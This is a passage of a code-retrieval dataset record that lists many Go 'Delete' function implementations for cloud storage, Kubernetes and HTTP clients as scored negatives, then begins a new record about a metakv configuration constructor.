{\\n\\tinfoMutex.Lock()\\n\\trecord(\\\"DELETE\\\", path)\\n\\tr.Delete(path, alice.New(c...).ThenFunc(fn).(http.HandlerFunc))\\n\\tinfoMutex.Unlock()\\n}\",\n \"func (o *Object) Delete(ctx context.Context, c client.Client, namespace string) error {\\n\\tobj := o.Type.DeepCopyObject().(client.Object)\\n\\tkind := obj.GetObjectKind().GroupVersionKind().Kind\\n\\tkey := objectKey(namespace, o.Name)\\n\\tif err := c.Get(ctx, key, obj); err != nil {\\n\\t\\tif apierrors.IsNotFound(err) {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\treturn errors.Wrapf(err, \\\"could not get %s '%s'\\\", kind, key.String())\\n\\t}\\n\\tif err := c.Delete(ctx, obj); err != nil {\\n\\t\\treturn errors.Wrapf(err, \\\"could not delete %s '%s'\\\", kind, key.String())\\n\\t}\\n\\treturn nil\\n}\",\n \"func Delete(path string, fn http.HandlerFunc, c ...alice.Constructor) {\\n\\trecord(\\\"DELETE\\\", path)\\n\\n\\tinfoMutex.Lock()\\n\\tr.DELETE(path, Handler(alice.New(c...).ThenFunc(fn)))\\n\\tinfoMutex.Unlock()\\n}\",\n \"func (b *Bucket) Delete(_ context.Context, name string) error {\\n\\tdelete(b.objects, name)\\n\\treturn nil\\n}\",\n \"func (api *distributedservicecardAPI) Delete(obj *cluster.DistributedServiceCard) error {\\n\\tif api.ct.resolver != nil {\\n\\t\\tapicl, err := api.ct.apiClient()\\n\\t\\tif err != nil {\\n\\t\\t\\tapi.ct.logger.Errorf(\\\"Error creating API server clent. Err: %v\\\", err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\t_, err = apicl.ClusterV1().DistributedServiceCard().Delete(context.Background(), &obj.ObjectMeta)\\n\\t\\treturn err\\n\\t}\\n\\n\\tapi.ct.handleDistributedServiceCardEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\\n\\treturn nil\\n}\",\n \"func (r *FakeClient) Delete(ctx context.Context, obj client.Object, opts ...client.DeleteOption) error {\\n\\tdelete(r.objects, util.NamespacedName(obj))\\n\\treturn nil\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\\r\\n\\t_, r.Err = client.Delete(deleteURL(client, id), nil)\\r\\n\\treturn\\r\\n}\",\n \"func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\\n\\tresp, err := c.Delete(resourceURL(c, id), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func (r *VCMPResource) Delete(id string) error {\\n\\tif err := r.c.ModQuery(\\\"DELETE\\\", BasePath+VCMPEndpoint+\\\"/\\\"+id, nil); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (cl *Client) Delete(c context.Context, url string, opts ...RequestOption) (*Response, error) {\\n\\treq, err := cl.NewRequest(c, http.MethodDelete, url, opts...)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn cl.Do(c, req)\\n}\",\n \"func (d *Datastore) Delete(k ds.Key) error {\\n\\td.l.Infow(\\\"deleting object\\\", \\\"key\\\", k)\\n\\t_, err := d.S3.DeleteObject(&s3.DeleteObjectInput{\\n\\t\\tBucket: aws.String(d.Bucket),\\n\\t\\tKey: aws.String(d.s3Path(k.String())),\\n\\t})\\n\\tif err != nil {\\n\\t\\td.l.Errorw(\\\"failed to delete object\\\", \\\"error\\\", err)\\n\\t\\treturn parseError(err)\\n\\t}\\n\\td.l.Info(\\\"successfully deleted object\\\")\\n\\treturn nil\\n}\",\n \"func (s *Nap) Delete(pathURL string) *Nap {\\n\\ts.method = MethodDelete\\n\\treturn s.Path(pathURL)\\n}\",\n \"func (s *Storage) Delete(request *openapi.BackupRequest) error {\\n\\tfor _, v := range request.Envs {\\n\\t\\tos.Setenv(v.Name, v.Value)\\n\\t}\\n\\tctx := context.Background()\\n\\tclient, err := getClient(ctx)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Error delete/getClient for %s:%s, error: %v\\\", request.Bucket, request.Location, err)\\n\\t\\treturn fmt.Errorf(\\\"Cannot get Client: %v\\\", err)\\n\\t}\\n\\tdefer client.Close()\\n\\n\\tctx, cancel := context.WithTimeout(ctx, time.Second*60)\\n\\tdefer cancel()\\n\\n\\tlocation := request.Location\\n\\tif request.Location[0:1] == \\\"/\\\" {\\n\\t\\tlocation = request.Location[1:]\\n\\t}\\n\\to := client.Bucket(request.Bucket).Object(location)\\n\\tif err := o.Delete(ctx); err != nil {\\n\\t\\tlog.Printf(\\\"Error delete/Delete for %s:%s, error: %v\\\", request.Bucket, request.Location, err)\\n\\t\\treturn fmt.Errorf(\\\"Object(%q).Delete: %v\\\", request.Location, err)\\n\\t}\\n\\tfmt.Printf(\\\"Delete for %s:%s deleted.\\\\n\\\", request.Bucket, request.Location)\\n\\treturn nil\\n}\",\n \"func Delete(ctx context.Context, c client.Writer, ref *corev1.ObjectReference) error {\\n\\tobj := new(unstructured.Unstructured)\\n\\tobj.SetAPIVersion(ref.APIVersion)\\n\\tobj.SetKind(ref.Kind)\\n\\tobj.SetName(ref.Name)\\n\\tobj.SetNamespace(ref.Namespace)\\n\\tif err := c.Delete(ctx, obj); err != nil {\\n\\t\\treturn errors.Wrapf(err, \\\"failed to delete %s external object %q/%q\\\", obj.GetKind(), obj.GetNamespace(), obj.GetName())\\n\\t}\\n\\treturn nil\\n}\",\n \"func (b *Builder) Delete(url string) *Builder {\\n\\tb.Url = url\\n\\tb.Method = http.MethodDelete\\n\\treturn b\\n}\",\n \"func (api *versionAPI) Delete(obj *cluster.Version) error {\\n\\tif api.ct.resolver != nil {\\n\\t\\tapicl, err := api.ct.apiClient()\\n\\t\\tif err != nil {\\n\\t\\t\\tapi.ct.logger.Errorf(\\\"Error creating API server clent. Err: %v\\\", err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\t_, err = apicl.ClusterV1().Version().Delete(context.Background(), &obj.ObjectMeta)\\n\\t\\treturn err\\n\\t}\\n\\n\\tapi.ct.handleVersionEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\\n\\treturn nil\\n}\",\n \"func (r *Request) Delete(url string) (*Response, error) {\\n\\treturn r.Execute(MethodDelete, url)\\n}\",\n \"func (r Requester) Delete(path string) Requester {\\n\\treq, err := http.NewRequest(http.MethodDelete, r.url, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tr.httpRequest = req\\n\\treturn r\\n}\",\n \"func (s *Storage) Delete(ctx context.Context, uri string) error {\\n\\tbucket, key, err := parseURI(uri)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err = s3.New(s.session).DeleteObjectWithContext(\\n\\t\\tctx,\\n\\t\\t&s3.DeleteObjectInput{\\n\\t\\t\\tBucket: aws.String(bucket),\\n\\t\\t\\tKey: aws.String(key),\\n\\t\\t},\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"delete object from s3\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (t *FakeObjectTracker) Delete(gvr schema.GroupVersionResource, ns, name string) error {\\n\\treturn nil\\n}\",\n \"func Delete(client *occlient.Client, kClient *kclient.Client, urlName string, applicationName string, urlType localConfigProvider.URLKind, isS2i bool) error {\\n\\tif urlType == localConfigProvider.INGRESS {\\n\\t\\treturn kClient.DeleteIngress(urlName)\\n\\t} else if urlType == localConfigProvider.ROUTE {\\n\\t\\tif isS2i {\\n\\t\\t\\t// Namespace the URL name\\n\\t\\t\\tvar err error\\n\\t\\t\\turlName, err = util.NamespaceOpenShiftObject(urlName, applicationName)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrapf(err, \\\"unable to create namespaced name\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\treturn client.DeleteRoute(urlName)\\n\\t}\\n\\treturn errors.New(\\\"url type is not supported\\\")\\n}\",\n \"func (g *gcs) Delete(ctx context.Context, remotePath string) (err error) {\\n\\tif err = g.bucket.Object(remotePath).Delete(g.context); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (c *OperatorDNS) Delete(bucket string) error {\\n\\tctx, cancel := context.WithTimeout(context.Background(), defaultOperatorContextTimeout)\\n\\tdefer cancel()\\n\\te, err := c.endpoint(bucket, true)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treq, err := http.NewRequestWithContext(ctx, http.MethodPost, e, nil)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err = c.addAuthHeader(req); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tresp, err := c.httpClient.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\txhttp.DrainBody(resp.Body)\\n\\tif resp.StatusCode != http.StatusOK {\\n\\t\\treturn fmt.Errorf(\\\"request to delete the service for bucket %s, failed with status %s\\\", bucket, resp.Status)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (b NeteaseNOSBackend) DeleteObject(path string) error {\\n\\tkey := pathutil.Join(b.Prefix, path)\\n\\n\\tobjectRequest := &model.ObjectRequest{\\n\\t\\tBucket: b.Bucket,\\n\\t\\tObject: key,\\n\\t}\\n\\n\\terr := b.Client.DeleteObject(objectRequest)\\n\\treturn err\\n}\",\n \"func (s *Service) doDelete(ctx *context.Context, url string) *types.Error {\\n\\n\\tbucket := \\\"l8ldiytwq83d8ckg\\\"\\n\\tsess, err := session.NewSession(&aws.Config{})\\n\\tif err != nil {\\n\\t\\treturn nil\\n\\t}\\n\\tsvc := s3.New(sess)\\n\\n\\t_, errObject := svc.DeleteObject(&s3.DeleteObjectInput{Bucket: aws.String(bucket), Key: aws.String(url)})\\n\\tif errObject != nil {\\n\\t\\terr := &types.Error{\\n\\t\\t\\tPath: \\\".uploaderService->doDelete()\\\",\\n\\t\\t\\tMessage: errObject.Error(),\\n\\t\\t\\tError: errObject,\\n\\t\\t\\tType: \\\"aws-error\\\",\\n\\t\\t}\\n\\t\\treturn err\\n\\t}\\n\\terrObject = svc.WaitUntilObjectNotExists(&s3.HeadObjectInput{\\n\\t\\tBucket: aws.String(bucket),\\n\\t\\tKey: aws.String(url),\\n\\t})\\n\\tif errObject != nil {\\n\\t\\terr := &types.Error{\\n\\t\\t\\tPath: \\\".uploaderService->doDelete()\\\",\\n\\t\\t\\tMessage: errObject.Error(),\\n\\t\\t\\tError: errObject,\\n\\t\\t\\tType: \\\"aws-error\\\",\\n\\t\\t}\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (f5 *f5LTM) delete(url string, result interface{}) error {\\n\\treturn f5.restRequest(\\\"DELETE\\\", url, nil, result)\\n}\",\n \"func (rb *RequestBuilder) Delete(url string) *Response {\\n\\treturn rb.DoRequest(http.MethodDelete, url, nil)\\n}\",\n \"func DeleteURL(w http.ResponseWriter, r *http.Request) {\\n\\t// w.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t// w.Header().Set(\\\"Access-Control-Allow-Origin\\\", \\\"*\\\")\\n\\tw.Header().Set(\\\"Access-Control-Allow-Methods\\\", \\\"POST\\\")\\n\\t// w.Header().Set(\\\"Access-Control-Allow-Headers\\\", \\\"Content-Type\\\")\\n\\n\\tif !auth.IsValidToken(r.Header.Get(\\\"x-auth-token\\\")) {\\n\\t\\tresp := response{Status: \\\"error\\\", Message: \\\"Invalid Token\\\"}\\n\\t\\tjson.NewEncoder(w).Encode(resp)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar reqURL models.URLShorten\\n\\t_ = json.NewDecoder(r.Body).Decode(&reqURL)\\n\\n\\tfilter := bson.D{{\\\"_id\\\", reqURL.ID}}\\n\\n\\tresult, err := collection.DeleteOne(context.TODO(), filter)\\n\\tif err != nil {\\n\\t\\tlg.WriteError(err.Error())\\n\\t}\\n\\n\\tjson.NewEncoder(w).Encode(response{\\\"okay\\\", fmt.Sprintf(\\\"deleted %v documents\\\", result.DeletedCount)})\\n}\",\n \"func (r *ExternalRequest) Delete(ctx context.Context) error {\\n\\treturn r.JSONRequest(ctx, \\\"DELETE\\\", \\\"\\\", nil, nil)\\n}\",\n \"func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\\n\\tresp, err := c.Delete(deleteURL(c, id), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\\n\\tresp, err := c.Delete(deleteURL(c, id), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func (d *driver) Delete(ctx context.Context, path string) error {\\n\\treturn d.Bucket.Delete(ctx, path)\\n}\",\n \"func (r *DOSProfileDOSNetworkResource) Delete(id string) error {\\n\\tif err := r.c.ModQuery(\\\"DELETE\\\", BasePath+DOSProfileDOSNetworkEndpoint+\\\"/\\\"+id, nil); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\\n\\tresp, err := client.Delete(deleteURL(client, id), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\\n\\tresp, err := client.Delete(deleteURL(client, id), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\\n\\tresp, err := client.Delete(deleteURL(client, id), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\\n\\tresp, err := client.Delete(deleteURL(client, id), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func Delete(config *HTTPConfig) (*HTTPResult, error) {\\n\\treturn HandleRequest(\\\"DELETE\\\", config)\\n}\",\n \"func (controller *WidgetController) Delete(context *qhttp.Context) {\\n\\tcontroller.storage.Delete(context.URIParameters[\\\"id\\\"])\\n\\tcontext.SetResponse(\\\"\\\", http.StatusNoContent)\\n}\",\n \"func Delete(dest interface{}, uri string, data url.Values) error {\\n\\treturn DefaultClient.Delete(dest, uri, data)\\n}\",\n \"func (c *Client) Delete(ctx context.Context, obj runtime.Object) error {\\n\\tlocal, err := c.convert(obj)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tsecret := &corev1.Secret{\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tName: local.Spec.Name,\\n\\t\\t\\tNamespace: local.ObjectMeta.Namespace,\\n\\t\\t},\\n\\t}\\n\\treturn client.IgnoreNotFound((*c.kubeclient).Delete(ctx, secret))\\n}\",\n \"func (ds *Datastore) Delete(key datastore.Key) error {\\n\\tc := ds.client()\\n\\n\\tif has, err := ds.Has(key); has == false {\\n\\t\\treturn datastore.ErrNotFound\\n\\t} else if err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err := c.DeleteObject(&awsS3.DeleteObjectInput{\\n\\t\\tKey: aws.String(ds.path(key)),\\n\\t\\tBucket: aws.String(ds.Bucket),\\n\\t})\\n\\n\\treturn err\\n}\",\n \"func (tr *Transport) Delete(url string, fn HandlerFunc, options ...HandlerOption) {\\n\\ttr.mux.Handler(net_http.MethodDelete, url, encapsulate(fn, tr.options, options))\\n}\",\n \"func (e EndPoint) Delete(container EndPointContainer) {\\n\\n\\tentity := reflect.New(container.GetPrototype()).Interface()\\n\\tvar id int64\\n\\t_, err := fmt.Sscanf(container.GetRequest().URL.Query().Get(\\\":id\\\"), \\\"%d\\\", &id)\\n\\tif err != nil {\\n\\t\\tcontainer.Error(err, http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\trepository := container.GetRepository()\\n\\n\\terr = repository.FindByID(id, entity.(Entity))\\n\\tif err != nil {\\n\\t\\tcontainer.Error(err, http.StatusNotFound)\\n\\t\\treturn\\n\\t}\\n\\terr = container.GetSignal().Dispatch(&BeforeResourceDeleteEvent{})\\n\\tif err != nil {\\n\\t\\tcontainer.Error(err, http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\terr = repository.Delete(entity.(Entity))\\n\\tif err != nil {\\n\\t\\tcontainer.Error(err, http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\terr = container.GetSignal().Dispatch(&AfterResourceDeleteEvent{})\\n\\tif err != nil {\\n\\t\\tcontainer.Error(err, http.StatusInternalServerError)\\n\\t\\treturn\\n\\t}\\n\\tcontainer.GetResponseWriter().WriteHeader(http.StatusOK)\\n}\",\n \"func (s NounResource) Delete(id string, r api2go.Request) (api2go.Responder, error) {\\n\\terr := s.NounStorage.Delete(id)\\n\\n\\tif err != nil {\\n\\t\\treturn &Response{Code: http.StatusNotFound}, api2go.NewHTTPError(err, err.Error(), http.StatusNotFound)\\n\\t}\\n\\n\\treturn &Response{Code: http.StatusNoContent}, err\\n}\",\n \"func Delete(ctx context.Context, client *v1.ServiceClient, domainID int) (*v1.ResponseResult, error) {\\n\\turl := strings.Join([]string{client.Endpoint, strconv.Itoa(domainID)}, \\\"/\\\")\\n\\tresponseResult, err := client.DoRequest(ctx, http.MethodDelete, url, nil)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif responseResult.Err != nil {\\n\\t\\terr = responseResult.Err\\n\\t}\\n\\n\\treturn responseResult, err\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, trustID string) (r DeleteResult) {\\n\\tresp, err := client.Delete(deleteURL(client, trustID), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func (c *Client) Delete(path string) error {\\n\\treturn c.CreateAndDo(\\\"DELETE\\\", path, nil, nil, nil, nil)\\n}\",\n \"func (rc *RequiredCapability) Delete() (error, error, int) {\\n\\tauthorized, err := rc.isTenantAuthorized()\\n\\tif !authorized {\\n\\t\\treturn errors.New(\\\"not authorized on this tenant\\\"), nil, http.StatusForbidden\\n\\t} else if err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"checking authorization for existing DS ID: %s\\\" + err.Error()), http.StatusInternalServerError\\n\\t}\\n\\t_, cdnName, _, err := dbhelpers.GetDSNameAndCDNFromID(rc.ReqInfo.Tx.Tx, *rc.DeliveryServiceID)\\n\\tif err != nil {\\n\\t\\treturn nil, err, http.StatusInternalServerError\\n\\t}\\n\\tuserErr, sysErr, errCode := dbhelpers.CheckIfCurrentUserCanModifyCDN(rc.ReqInfo.Tx.Tx, string(cdnName), rc.ReqInfo.User.UserName)\\n\\tif userErr != nil || sysErr != nil {\\n\\t\\treturn userErr, sysErr, errCode\\n\\t}\\n\\treturn api.GenericDelete(rc)\\n}\",\n \"func Delete(model Model) error {\\n\\tfullURL := model.RootURL() + \\\"/\\\" + model.GetId()\\n\\treq := xhr.NewRequest(\\\"DELETE\\\", fullURL)\\n\\treq.Timeout = 1000 // one second, in milliseconds\\n\\treq.ResponseType = \\\"text\\\"\\n\\terr := req.Send(nil)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Something went wrong with DELETE request to %s. %s\\\", fullURL, err.Error())\\n\\t}\\n\\treturn nil\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, regionID string) (r DeleteResult) {\\n\\tresp, err := client.Delete(deleteURL(client, regionID), nil)\\n\\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\\n\\treturn\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, id string, bearer map[string]string) (r volumes.DeleteResult) {\\n\\t_, r.Err = client.Delete(deleteURL(client, id), &gophercloud.RequestOpts{\\n\\t\\tMoreHeaders: bearer,\\n\\t})\\n\\treturn\\n}\",\n \"func Delete(client *gophercloud.ServiceClient, id string) DeleteResult {\\n\\tvar res DeleteResult\\n\\n\\t_, res.Err = client.Request(\\\"DELETE\\\", resourceURL(client, id), gophercloud.RequestOpts{\\n\\t\\tOkCodes: []int{202},\\n\\t})\\n\\n\\treturn res\\n}\",\n \"func (c *Client) DeleteObject(objectPath string) error {\\n\\tendpoint, _ := url.Parse(c.Endpoint.String())\\n\\tendpoint.Path = path.Join(endpoint.Path, objectPath)\\n\\n\\treq, err := http.NewRequest(\\\"DELETE\\\", endpoint.String(), nil)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Error making the request: %v\\\", err)\\n\\t}\\n\\n\\tres, err := c.HTTPClient.Do(req)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif statusErr := errorFromCode(res.StatusCode); statusErr != nil {\\n\\t\\treturn statusErr\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (r *Request) Delete(url string) *Request {\\n\\tr.method = http.MethodDelete\\n\\tr.url = url\\n\\treturn r\\n}\",\n \"func (fkw *FakeClientWrapper) Delete(ctx context.Context, obj runtime.Object, opts ...k8sCl.DeleteOption) error {\\n\\treturn fkw.client.Delete(ctx, obj, opts...)\\n}\",\n \"func (c *Client) delete(rawURL string, authenticate bool, out interface{}) error {\\n\\terr := c.do(rawURL, \\\"DELETE\\\", authenticate, http.StatusOK, nil, out)\\n\\treturn errio.Error(err)\\n}\",\n \"func (s S3Service) Delete(path string) (bool, error) {\\n\\t// get path of the file\\n\\n\\t// config settings: this is where you choose the bucket,\\n\\t//filepath of the object that needs to be deleted\\n\\t// you're deleting\\n\\t_, err := s3.New(s.connectToS3()).DeleteObject(&s3.DeleteObjectInput{\\n\\t\\tBucket: aws.String(s.Bucket),\\n\\t\\tKey: aws.String(path),\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn false, err\\n\\t}\\n\\n\\treturn true, err\\n}\",\n \"func (r *ExternalConnectionRequest) Delete(ctx context.Context) error {\\n\\treturn r.JSONRequest(ctx, \\\"DELETE\\\", \\\"\\\", nil, nil)\\n}\",\n \"func (obj *RawCardSigner) Delete() {\\n\\tif obj == nil {\\n\\t\\treturn\\n\\t}\\n\\truntime.SetFinalizer(obj, nil)\\n\\tobj.delete()\\n}\",\n \"func (c *Client) Delete(id string) error {\\n\\t_, err := c.delete(c.url.String() + \\\"/\\\" + id)\\n\\treturn err\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7083206","0.69798166","0.67646945","0.6641729","0.6605921","0.6537323","0.6520792","0.64636743","0.6425648","0.63892347","0.63700897","0.6363889","0.63459784","0.6345752","0.6332789","0.63315165","0.6297441","0.6253662","0.62532675","0.625238","0.6237891","0.6235279","0.62268007","0.6217693","0.6199193","0.61977565","0.619038","0.61820656","0.6178799","0.61684126","0.6152124","0.6143703","0.6133197","0.61124325","0.607947","0.6076153","0.60612017","0.6054079","0.6043322","0.6041035","0.60155654","0.6010098","0.5997846","0.5973156","0.59695095","0.5968825","0.5963353","0.5962063","0.5959682","0.5958999","0.59561324","0.59512293","0.5947462","0.59430856","0.5941602","0.59365124","0.5934683","0.59250796","0.59087205","0.59073645","0.59054697","0.5903059","0.58985436","0.5897869","0.5897822","0.58928806","0.58846223","0.587239","0.5862873","0.58579326","0.58579326","0.58486503","0.5847559","0.5845257","0.5845257","0.5845257","0.5845257","0.58365893","0.5832921","0.5831859","0.5823414","0.58197355","0.5812698","0.5811686","0.5803835","0.5799957","0.579963","0.57957","0.57950103","0.5794509","0.578941","0.5775039","0.5772572","0.5771234","0.57686496","0.5767998","0.576729","0.57656026","0.5762139","0.57552266","0.57550883"],"string":"[\n \"0.7083206\",\n \"0.69798166\",\n \"0.67646945\",\n \"0.6641729\",\n \"0.6605921\",\n \"0.6537323\",\n \"0.6520792\",\n \"0.64636743\",\n \"0.6425648\",\n \"0.63892347\",\n \"0.63700897\",\n \"0.6363889\",\n \"0.63459784\",\n \"0.6345752\",\n \"0.6332789\",\n \"0.63315165\",\n \"0.6297441\",\n \"0.6253662\",\n \"0.62532675\",\n \"0.625238\",\n \"0.6237891\",\n \"0.6235279\",\n \"0.62268007\",\n \"0.6217693\",\n \"0.6199193\",\n \"0.61977565\",\n \"0.619038\",\n \"0.61820656\",\n \"0.6178799\",\n \"0.61684126\",\n \"0.6152124\",\n \"0.6143703\",\n \"0.6133197\",\n \"0.61124325\",\n \"0.607947\",\n \"0.6076153\",\n \"0.60612017\",\n \"0.6054079\",\n \"0.6043322\",\n \"0.6041035\",\n \"0.60155654\",\n \"0.6010098\",\n \"0.5997846\",\n \"0.5973156\",\n \"0.59695095\",\n \"0.5968825\",\n \"0.5963353\",\n \"0.5962063\",\n \"0.5959682\",\n \"0.5958999\",\n \"0.59561324\",\n \"0.59512293\",\n \"0.5947462\",\n \"0.59430856\",\n \"0.5941602\",\n \"0.59365124\",\n \"0.5934683\",\n \"0.59250796\",\n \"0.59087205\",\n \"0.59073645\",\n \"0.59054697\",\n \"0.5903059\",\n \"0.58985436\",\n \"0.5897869\",\n \"0.5897822\",\n \"0.58928806\",\n \"0.58846223\",\n \"0.587239\",\n \"0.5862873\",\n \"0.58579326\",\n \"0.58579326\",\n \"0.58486503\",\n \"0.5847559\",\n \"0.5845257\",\n \"0.5845257\",\n \"0.5845257\",\n \"0.5845257\",\n \"0.58365893\",\n \"0.5832921\",\n \"0.5831859\",\n \"0.5823414\",\n \"0.58197355\",\n \"0.5812698\",\n \"0.5811686\",\n \"0.5803835\",\n \"0.5799957\",\n \"0.579963\",\n \"0.57957\",\n \"0.57950103\",\n \"0.5794509\",\n \"0.578941\",\n \"0.5775039\",\n \"0.5772572\",\n \"0.5771234\",\n \"0.57686496\",\n \"0.5767998\",\n \"0.576729\",\n \"0.57656026\",\n \"0.5762139\",\n \"0.57552266\",\n \"0.57550883\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":106139,"cells":{"query":{"kind":"string","value":"NewCfgMetaKv returns a CfgMetaKv that reads and stores its single configuration file in the metakv."},"document":{"kind":"string","value":"func NewCfgMetaKv(nodeUUID string, options map[string]string) (*CfgMetaKv, error) {\n\tnsServerURL, _ := options[\"nsServerURL\"]\n\n\tcfg := &CfgMetaKv{\n\t\tprefix: CfgMetaKvPrefix,\n\t\tnodeUUID: nodeUUID,\n\t\tcfgMem: NewCfgMem(),\n\t\tcancelCh: make(chan struct{}),\n\t\tsplitEntries: map[string]CfgMetaKvEntry{},\n\t}\n\n\tbackoffStartSleepMS := 200\n\tbackoffFactor := float32(1.5)\n\tbackoffMaxSleepMS := 5000\n\tleanPlanKeyPrefix = CfgMetaKvPrefix + leanPlanKeyPrefix\n\n\tcfg.nsServerUrl = nsServerURL + \"/pools/default\"\n\n\tgo ExponentialBackoffLoop(\"cfg_metakv.RunObserveChildren\",\n\t\tfunc() int {\n\t\t\terr := metakv.RunObserveChildren(cfg.prefix, cfg.metaKVCallback,\n\t\t\t\tcfg.cancelCh)\n\t\t\tif err == nil {\n\t\t\t\treturn -1 // Success, so stop the loop.\n\t\t\t}\n\n\t\t\tlog.Warnf(\"cfg_metakv: RunObserveChildren, err: %v\", err)\n\n\t\t\treturn 0 // No progress, so exponential backoff.\n\t\t},\n\t\tbackoffStartSleepMS, backoffFactor, backoffMaxSleepMS)\n\n\treturn cfg, nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func New(base mb.BaseMetricSet) (mb.MetricSet, error) {\n\n\tconfig := struct {\n\t\tKeys []string `config:\"keys\"`\n\t}{\n\t\tKeys: []string{},\n\t}\n\n\tif err := base.Module().UnpackConfig(&config); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogp.Warn(\"EXPERIMENTAL: The consulkv kv metricset is experimental %v\", config)\n\n\treturn &MetricSet{\n\t\tBaseMetricSet: base,\n\t\tkeys: config.Keys,\n\t}, nil\n}","func New(path string) (*KV, error) {\n\tb, err := bolt.Open(path, 0644, nil)\n\treturn &KV{db: b}, err\n}","func (k *Keybase) NewKV(team string) KV {\n\treturn KV{\n\t\tkeybase: k,\n\t\tTeam: team,\n\t}\n}","func New(cfg *Config) *Engine {\n\tif cfg.OpenCacheSize == 0 {\n\t\tcfg.OpenCacheSize = DefaultOpenCacheSize\n\t}\n\n\tif cfg.BatchSize == 0 {\n\t\tcfg.BatchSize = DefaultBatchSize\n\t}\n\n\tif cfg.KVStore == \"\" {\n\t\tcfg.KVStore = DefaultKVStore\n\t}\n\n\tif cfg.KVConfig == nil {\n\t\tcfg.KVConfig = store.KVConfig{}\n\t}\n\n\tng := &Engine{\n\t\tconfig: cfg,\n\t\tstores: cache.NewLRUCache(cfg.OpenCacheSize),\n\t}\n\n\tif debug, ok := cfg.KVConfig[\"debug\"].(bool); ok {\n\t\tng.debug = debug\n\t}\n\n\tng.stores.OnRemove(func(key string, value interface{}) {\n\t\tstorekv, ok := value.(store.KVStore)\n\n\t\tif !ok {\n\t\t\tpanic(\"Unexpected value in cache\")\n\t\t}\n\n\t\tif storekv.IsOpen() {\n\t\t\tstorekv.Close()\n\t\t}\n\t})\n\n\treturn ng\n}","func New(file ...string) *Config {\n\tname := DefaultConfigFile\n\tif len(file) > 0 {\n\t\tname = file[0]\n\t} else {\n\t\t// Custom default configuration file name from command line or environment.\n\t\tif customFile := gcmd.GetOptWithEnv(commandEnvKeyForFile).String(); customFile 